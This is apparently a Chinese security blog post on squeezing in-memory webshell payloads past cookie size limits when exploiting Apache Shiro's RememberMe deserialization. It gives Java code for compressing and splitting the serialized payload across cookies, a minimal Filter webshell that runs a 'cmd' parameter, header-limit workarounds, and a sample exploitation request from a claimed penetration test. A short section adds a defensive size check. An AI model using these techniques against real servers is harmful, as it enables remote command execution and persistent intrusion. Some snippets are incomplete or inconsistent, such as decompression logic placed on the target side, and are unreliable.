shiro注入内存马cookie过长问题
编辑
25
2024-03-27
在Apache Shiro框架中注入内存马时,遇到Cookie过长的问题通常与Shiro的Cookie处理机制和HTTP协议限制有关:
1. 问题根源分析
1.1 Shiro的Cookie处理机制
RememberMe Cookie:Shiro默认使用
CookieRememberMeManager
,序列化对象后Base64编码存储在Cookie中长度限制:
HTTP协议规范:单个Cookie值通常不超过4KB(浏览器和服务器的共同限制)
常见服务器限制:
Tomcat默认最大Cookie头:8KB(可通过
maxCookieCount
调整)Nginx默认请求头大小:4KB(需调整
large_client_header_buffers
)
1.2 内存马注入场景
当注入复杂的内存马(如Tomcat Filter型)时,序列化后的payload可能超过限制:
// 示例:一个包含多个Filter的复杂内存马序列化后可能达到10KB+
byte[] payload = Serializer.serialize(complexMemoryShell);
String base64Payload = Base64.encode(payload); // 长度膨胀约1.3倍
2. 解决方案
2.1 Payload压缩优化
// 使用GZIP压缩(可减少50%-70%体积)
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzip = new GZIPOutputStream(baos);
gzip.write(payloadBytes);
gzip.close();
byte[] compressed = baos.toByteArray();
String finalPayload = Base64.encodeToString(compressed);
// Shiro端需配套解压代码
public class CompressedRememberMeManager extends CookieRememberMeManager {
protected byte[] convertCookieToBytes(byte[] compressed) {
return Gunzip.decompress(super.convertCookieToBytes(compressed));
}
}
2.2 分片存储方案
// 将payload分片存储到多个Cookie中(需自定义管理器)
String[] chunks = splitPayload(base64Payload, 3800); // 每片略小于4KB
response.addHeader("Set-Cookie", "shiro_chunk_1=" + chunks[0]);
response.addHeader("Set-Cookie", "shiro_chunk_2=" + chunks[1]);
// 服务端重组逻辑
public byte[] rebuildPayload(HttpServletRequest request) {
String[] chunks = getCookies(request, "shiro_chunk_");
return Base64.decode(String.join("", chunks));
}
2.3 替代存储位置
2.4 精简内存马设计
// 使用最小化内存马模板(约1.5KB序列化后)
public class MiniShell implements Filter {
public void doFilter(ServletRequest req, ServletResponse res) {
String cmd = req.getParameter("cmd");
if(cmd != null) {
// 直接调用Runtime.getRuntime().exec()等基础功能
}
}
}
// 生成payload时可减少50%体积
3. 绕过服务器限制的技巧
3.1 Tomcat配置突破
<!-- conf/server.xml 调整maxHeaderSize -->
<Connector port="8080" maxHeaderSize="65536" />
3.2 Nginx调整
http {
large_client_header_buffers 4 32k; # 允许32KB的Header
}
3.3 分块传输编码(Chunked)
POST /login HTTP/1.1
Transfer-Encoding: chunked
7\r\n
payload=\r\n
800\r\n
[compressed_data_in_chunks]\r\n
0\r\n\r\n
4. 防御检测方案
4.1 服务端防护
// 自定义RememberMe管理器检测异常payload
public class SecureRememberMeManager extends CookieRememberMeManager {
protected byte[] getRememberedSerializedIdentity(HttpServletRequest request) {
byte[] data = super.getRememberedSerializedIdentity(request);
if(data.length > 4096) { // 设置合理阈值
throw new IllegalStateException("Suspicious oversized cookie");
}
return data;
}
}
4.2 监控指标
5. 实战案例
某次渗透测试中的成功利用流程:
发现限制:原始Filter内存马序列化后8.7KB → Base64后11.6KB
解决方案:
使用GZIP压缩至3.2KB → Base64后4.3KB
分片存储到2个Cookie:
rm_a
(4KB) +rm_b
(0.3KB)
利用链:
GET /login?rememberMe=1 HTTP/1.1
Cookie: rm_a=H4sIAAAAAA...; rm_b=AA==;
- 0
- 0
-
分享